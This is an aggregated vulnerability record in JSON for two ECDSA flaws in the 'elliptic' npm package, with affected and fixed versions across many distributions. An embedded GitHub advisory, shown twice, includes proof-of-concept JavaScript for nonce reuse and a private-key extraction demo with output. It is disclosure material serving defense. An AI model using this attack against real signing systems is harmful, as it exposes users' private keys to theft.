{"id":"CVE-2025-14505","aliases":["CLSA-2026-1772583206","CLSA-2026-1773533797","CLSA-2026-1781139210","CLSA-2026-1781139211","CLSA-2026-1781139212","CLSA-2026-1789597571","CLSA-2026-1793807095","CLSA-2026-1793808177","DEBIAN-CVE-2025-14505","EUVD-2026-1445","GHSA-848j-6mx2-7j84","GHSA-vjh7-7g9h-fjfh","ROOT-APP-NPM-GHSA-vjh7-7g9h-fjfh","UBUNTU-CVE-2025-14505"],"status":"published","title":"Elliptic Cryptanalysis vulnerability when `k` has leading zeros","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of  RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.\n\nThis issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","severity":{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0018,"percentile":0.0767,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1240","CWE-200"],"published":"2025-02-12T19:47:52Z","modified":"2026-11-06T13:15:08Z","fixes":[{"ecosystem":"npm","package":"elliptic","fixed_in":["6.6.1"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"elliptic","fixed_in":["6.6.1-tuxcare.1","6.6.0-tuxcare.1","6.6.0-tuxcare.2","6.5.1-tuxcare.3","6.5.3-tuxcare.3"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-elliptic","fixed_in":["6.6.1+dfsg+~6.4.18-2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"elliptic","fixed_in":["6.5.7-aikido.1","6.5.5-aikido.1","6.6.0-aikido.1","6.5.4-aikido.1","6.5.2-aikido.1","6.5.2-aikido.2","6.5.4-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/elliptic","fixed_in":["6.5.7-root.io.1","6.5.5-root.io.1","6.6.0-root.io.1","6.5.4-root.io.1","6.5.2-root.io.1","6.5.2-root.io.2","6.5.4-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.6.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.6.0"},{"fixed":"6.6.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.6.1-tuxcare.0"},{"fixed":"6.6.1-tuxcare.1"}]}],"versions":["6.6.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.6.0-tuxcare.0"},{"fixed":"6.6.0-tuxcare.1"}]}],"versions":["6.6.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.4.1-tuxcare.0"},{"fixed":"6.4.1-tuxcare.1"}]}],"versions":["6.4.1"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.4-tuxcare.0"},{"fixed":"6.5.4-tuxcare.1"}]}],"versions":["6.5.4"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.5-tuxcare.0"},{"fixed":"6.5.5-tuxcare.1"}]}],"versions":["6.5.5"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.6.0-tuxcare.0"},{"fixed":"6.6.0-tuxcare.2"}]}],"versions":["6.6.0","6.6.0-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.1-tuxcare.0"},{"fixed":"6.5.1-tuxcare.3"}]}],"versions":["6.5.1","6.5.1-tuxcare.1","6.5.1-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.5.3-tuxcare.0"},{"fixed":"6.5.3-tuxcare.3"}]}],"versions":["6.5.3","6.5.3-tuxcare.1","6.5.3-tuxcare.2"]},{"source":"osv","ecosystem":"Debian:12","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.5.4~dfsg-2","6.5.7+dfsg-1","6.6.1+dfsg+~6.4.18-1","6.6.1+dfsg+~6.4.18-2","6.6.1+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.6.1+dfsg+~6.4.18-1","6.6.1+dfsg+~6.4.18-2","6.6.1+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.6.1+dfsg+~6.4.18-2"}]}],"versions":["6.6.1+dfsg+~6.4.18-1","6.6.1+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"elliptic","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"6.6.1"}]}]},{"source":"osv","ecosystem":"npm","package":"elliptic","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.6.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.7-aikido.1"},{"fixed":"6.5.5-aikido.1"},{"fixed":"6.6.0-aikido.1"},{"fixed":"6.5.4-aikido.1"},{"fixed":"6.5.2-aikido.1"},{"fixed":"6.5.2-aikido.2"},{"fixed":"6.5.4-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.7-root.io.1"},{"fixed":"6.5.5-root.io.1"},{"fixed":"6.6.0-root.io.1"},{"fixed":"6.5.4-root.io.1"},{"fixed":"6.5.2-root.io.1"},{"fixed":"6.5.2-root.io.2"},{"fixed":"6.5.4-root.io.2"}]}]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.4.0+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.5.1~dfsg-1","6.5.1~dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.5.4~dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.5.4~dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.6.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.6.1+dfsg+~6.4.18-1","6.6.1+dfsg+~6.4.18-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-elliptic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.6.1+dfsg-1","6.6.1+dfsg+~6.4.18-1"]}],"references":[{"url":"https://www.herodevs.com/vulnerability-directory/cve-2025-14505","tags":["third-party-advisory","advisory","web"]},{"url":"https://github.com/indutny/elliptic/issues/321","tags":["issue-tracking","exploit","report","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14505","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-848j-6mx2-7j84"},{"url":"https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh","tags":["web"]},{"url":"https://github.com/indutny/elliptic/commit/04cb6f54ce552b3ebde6be06d6050419e1c7333e","tags":["web"]},{"url":"https://github.com/advisories/GHSA-vjh7-7g9h-fjfh"},{"url":"https://registry.npmjs.org","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/14xxx/CVE-2025-14505.json","tags":["advisory"]},{"url":"https://github.com/indutny/elliptic","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-14505","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-14505","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-14505","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-14505","title":"Elliptic Cryptanalysis vulnerability when `k` has leading zeros","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of  RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.\n\nThis issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","status":"published","published":"2026-01-08T21:05:14.8Z","modified":"2026-01-08T21:22:55.144Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-1240"],"updated_at":"2026-11-02T14:32:28.621398Z"}],"euvd":[{"id":"EUVD-2026-1445","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of  RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.\n\nThis issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","status":"published","published":"2026-01-08T21:05:14Z","modified":"2026-01-08T21:22:55Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T19:48:54.107539Z"}],"ghsa":[{"id":"GHSA-848j-6mx2-7j84","title":"Elliptic Uses a Cryptographic Primitive with a Risky Implementation","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of  RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.\n\nThis issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","status":"published","published":"2026-01-08T21:30:34Z","modified":"2026-01-09T20:19:43Z","cvss":[{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P","level":"low"},{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-1240"],"updated_at":"2026-11-02T14:39:16.156387Z"},{"id":"GHSA-vjh7-7g9h-fjfh","title":"Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)","description":"### Summary\n\nPrivate key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input\n\nNote that `elliptic` by design accepts hex strings as one of the possible input types\n\n### Details\n\nIn this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107\n\n`msg` is a BN instance after conversion, but `nonce` is an array, and different BN instances could generate equivalent arrays after conversion.\n\nMeaning that a same `nonce` could be generated for different messages used in signing process, leading to `k` reuse, leading to private key extraction from a pair of signatures\n\nSuch a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction\n\nWhile signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still _should not_ leak the private key\n\nAlso, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain\n\n### PoC\n\n#### `k` reuse example\n\n```js\nimport elliptic from 'elliptic'\n\nconst { ec: EC } = elliptic\n\nconst privateKey = crypto.getRandomValues(new Uint8Array(32))\nconst curve = 'ed25519' // or any other curve, e.g. secp256k1\nconst ec = new EC(curve)\nconst prettyprint = ({ r, s }) =\u003e `r: ${r}, s: ${s}`\nconst sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones\nconst sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form\nconst sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`\nconsole.log({ sig0, sig1, sig2 })\n```\n\n#### Full attack\n\nThis doesn't include code for generation/recovery on a purpose (bit it's rather trivial)\n\n```js\nimport elliptic from 'elliptic'\n\nconst { ec: EC } = elliptic\n\nconst privateKey = crypto.getRandomValues(new Uint8Array(32))\nconst curve = 'secp256k1' // or any other curve, e.g. ed25519\nconst ec = new EC(curve)\n\n// Any message, e.g. previously known signature\nconst msg0 = crypto.getRandomValues(new Uint8Array(32))\nconst sig0 = ec.sign(msg0, privateKey)\n\n// Attack\nconst msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types\nconst sig1 = ec.sign(msg1, privateKey)\n\nconst something = extract(msg0, sig0, sig1, curve)\n\nconsole.log('Curve:', curve)\nconsole.log('Typeof:', typeof msg1)\nconsole.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)\nconst rnd = crypto.getRandomValues(new Uint8Array(32))\nconst st = (x) =\u003e JSON.stringify(x)\nconsole.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))\nconsole.log('Orig key:', Buffer.from(privateKey).toString('hex'))\nconsole.log('Restored:', something)\n```\n\nOutput:\n```console\nCurve: secp256k1\nTypeof: string\nKeys equal? true\nKeys equivalent? true\nOrig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a\nRestored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a\n```\n\nSimilar for `ed25519`, but due to low `n`, the key might not match precisely but is nevertheless equivalent for signing:\n```console\nCurve: ed25519\nTypeof: string\nKeys equal? false\nKeys equivalent? true\nOrig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189\nRestored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6\n```\n`restored` is equal to `orig` mod `N`.\n\n### Impact\n\nFull private key extraction when signing a single malicious message (that passes `JSON.stringify`/`JSON.parse`)","status":"published","published":"2025-02-12T19:47:52Z","modified":"2025-02-23T23:30:35Z","cvss":[{"version":"4.0","score":9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N","level":"critical"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:38:32.275316Z"}],"nvd":[{"id":"CVE-2025-14505","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of  RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.\n\nThis issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","status":"published","published":"2026-01-08T21:15:42.023Z","modified":"2026-06-17T08:36:02.05Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-1240"],"updated_at":"2026-11-02T14:11:56.616231Z"}],"osv":[{"id":"CVE-2025-14505","title":"Elliptic Cryptanalysis vulnerability when `k` has leading zeros","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of  RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.\n\nThis issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","status":"published","published":"2026-01-08T21:05:14.8Z","modified":"2026-10-28T02:30:22.24202838Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-1240"],"updated_at":"2026-11-02T15:44:46.340268Z"},{"id":"DEBIAN-CVE-2025-14505","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of  RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.  This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","status":"published","published":"2026-01-08T21:15:42.023Z","modified":"2026-09-01T20:05:41.259662734Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T15:45:45.102284Z"},{"id":"GHSA-848j-6mx2-7j84","title":"Elliptic Uses a Cryptographic Primitive with a Risky Implementation","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of  RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs.\n\nThis issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","status":"published","published":"2026-01-08T21:30:34Z","modified":"2026-09-10T03:50:32.794069999Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"},{"version":"4.0","score":2.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P","level":"low"}],"cwes":["CWE-1240"],"updated_at":"2026-11-02T15:46:41.732368Z"},{"id":"GHSA-vjh7-7g9h-fjfh","title":"Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)","description":"### Summary\n\nPrivate key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input\n\nNote that `elliptic` by design accepts hex strings as one of the possible input types\n\n### Details\n\nIn this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107\n\n`msg` is a BN instance after conversion, but `nonce` is an array, and different BN instances could generate equivalent arrays after conversion.\n\nMeaning that a same `nonce` could be generated for different messages used in signing process, leading to `k` reuse, leading to private key extraction from a pair of signatures\n\nSuch a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction\n\nWhile signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still _should not_ leak the private key\n\nAlso, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain\n\n### PoC\n\n#### `k` reuse example\n\n```js\nimport elliptic from 'elliptic'\n\nconst { ec: EC } = elliptic\n\nconst privateKey = crypto.getRandomValues(new Uint8Array(32))\nconst curve = 'ed25519' // or any other curve, e.g. secp256k1\nconst ec = new EC(curve)\nconst prettyprint = ({ r, s }) =\u003e `r: ${r}, s: ${s}`\nconst sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones\nconst sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form\nconst sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`\nconsole.log({ sig0, sig1, sig2 })\n```\n\n#### Full attack\n\nThis doesn't include code for generation/recovery on a purpose (bit it's rather trivial)\n\n```js\nimport elliptic from 'elliptic'\n\nconst { ec: EC } = elliptic\n\nconst privateKey = crypto.getRandomValues(new Uint8Array(32))\nconst curve = 'secp256k1' // or any other curve, e.g. ed25519\nconst ec = new EC(curve)\n\n// Any message, e.g. previously known signature\nconst msg0 = crypto.getRandomValues(new Uint8Array(32))\nconst sig0 = ec.sign(msg0, privateKey)\n\n// Attack\nconst msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types\nconst sig1 = ec.sign(msg1, privateKey)\n\nconst something = extract(msg0, sig0, sig1, curve)\n\nconsole.log('Curve:', curve)\nconsole.log('Typeof:', typeof msg1)\nconsole.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)\nconst rnd = crypto.getRandomValues(new Uint8Array(32))\nconst st = (x) =\u003e JSON.stringify(x)\nconsole.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))\nconsole.log('Orig key:', Buffer.from(privateKey).toString('hex'))\nconsole.log('Restored:', something)\n```\n\nOutput:\n```console\nCurve: secp256k1\nTypeof: string\nKeys equal? true\nKeys equivalent? true\nOrig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a\nRestored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a\n```\n\nSimilar for `ed25519`, but due to low `n`, the key might not match precisely but is nevertheless equivalent for signing:\n```console\nCurve: ed25519\nTypeof: string\nKeys equal? false\nKeys equivalent? true\nOrig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189\nRestored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6\n```\n`restored` is equal to `orig` mod `N`.\n\n### Impact\n\nFull private key extraction when signing a single malicious message (that passes `JSON.stringify`/`JSON.parse`)","status":"published","published":"2025-02-12T19:47:52Z","modified":"2025-02-12T19:47:53Z","cvss":[{"version":"4.0","score":9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N","level":"critical"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:57.348035Z"},{"id":"ROOT-APP-NPM-GHSA-vjh7-7g9h-fjfh","title":"GHSA-vjh7-7g9h-fjfh in elliptic - Patched by Root","description":"Root has patched GHSA-vjh7-7g9h-fjfh in the elliptic package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-11-06T12:08:19Z","modified":"2026-11-06T13:15:08.17616068Z","cvss":[{"version":"4.0","score":9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N","level":"critical"}],"updated_at":"2026-11-06T13:44:21.739016Z"},{"id":"UBUNTU-CVE-2025-14505","description":"The ECDSA implementation of the Elliptic package generates incorrect signatures if an interim value of 'k' (as computed based on step 3.2 of RFC 6979 https://datatracker.ietf.org/doc/html/rfc6979 ) has leading zeros and is susceptible to cryptanalysis, which can lead to secret key exposure. This happens, because the byte-length of 'k' is incorrectly computed, resulting in its getting truncated during the computation. Legitimate transactions or communications will be broken as a result. Furthermore, due to the nature of the fault, attackers could–under certain conditions–derive the secret key, if they could get their hands on both a faulty signature generated by a vulnerable version of Elliptic and a correct signature for the same inputs. This issue affects all known versions of Elliptic (at the time of writing, versions less than or equal to 6.6.1).","status":"published","published":"2026-01-08T21:15:00Z","modified":"2026-10-17T12:56:48.028269096Z","cvss":[{"version":"3.1","score":5.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T16:55:20.144818Z"},{"id":"CLSA-2026-1772583206","title":"TuxCare security update for elliptic (1 CVE)","description":"TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:10Z","modified":"2026-10-15T09:45:27.089357157Z","updated_at":"2026-11-02T15:43:43.249928Z"},{"id":"CLSA-2026-1773533797","title":"TuxCare security update for elliptic (1 CVE)","description":"TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:28.617054591Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1781139210","title":"TuxCare security update for elliptic (9 CVEs)","description":"TuxCare rebuilt elliptic to address 9 CVEs. Fixed in 6.4.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:36Z","modified":"2026-10-15T09:47:51.023492019Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1781139211","title":"TuxCare security update for elliptic (7 CVEs)","description":"TuxCare rebuilt elliptic to address 7 CVEs. Fixed in 6.5.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:36Z","modified":"2026-10-15T09:47:51.046550268Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1781139212","title":"TuxCare security update for elliptic (7 CVEs)","description":"TuxCare rebuilt elliptic to address 7 CVEs. Fixed in 6.5.5-tuxcare.1.","status":"published","published":"2026-08-04T14:52:36Z","modified":"2026-10-15T09:47:51.092078191Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1789597571","title":"TuxCare security update for elliptic (1 CVE)","description":"TuxCare rebuilt elliptic to address 1 CVE. Fixed in 6.6.0-tuxcare.2.","status":"published","published":"2026-09-16T22:26:11Z","modified":"2026-10-15T09:47:56.138302722Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1793807095","title":"TuxCare security update for elliptic (2 CVEs)","description":"TuxCare rebuilt elliptic to address 2 CVEs. Fixed in 6.5.1-tuxcare.3.","status":"published","published":"2026-11-04T16:44:56Z","modified":"2026-11-04T19:00:39.151950669Z","updated_at":"2026-11-04T19:15:03.6858Z"},{"id":"CLSA-2026-1793808177","title":"TuxCare security update for elliptic (2 CVEs)","description":"TuxCare rebuilt elliptic to address 2 CVEs. Fixed in 6.5.3-tuxcare.3.","status":"published","published":"2026-11-04T17:02:59Z","modified":"2026-11-04T19:00:35.345568842Z","updated_at":"2026-11-04T19:15:03.6858Z"}]}}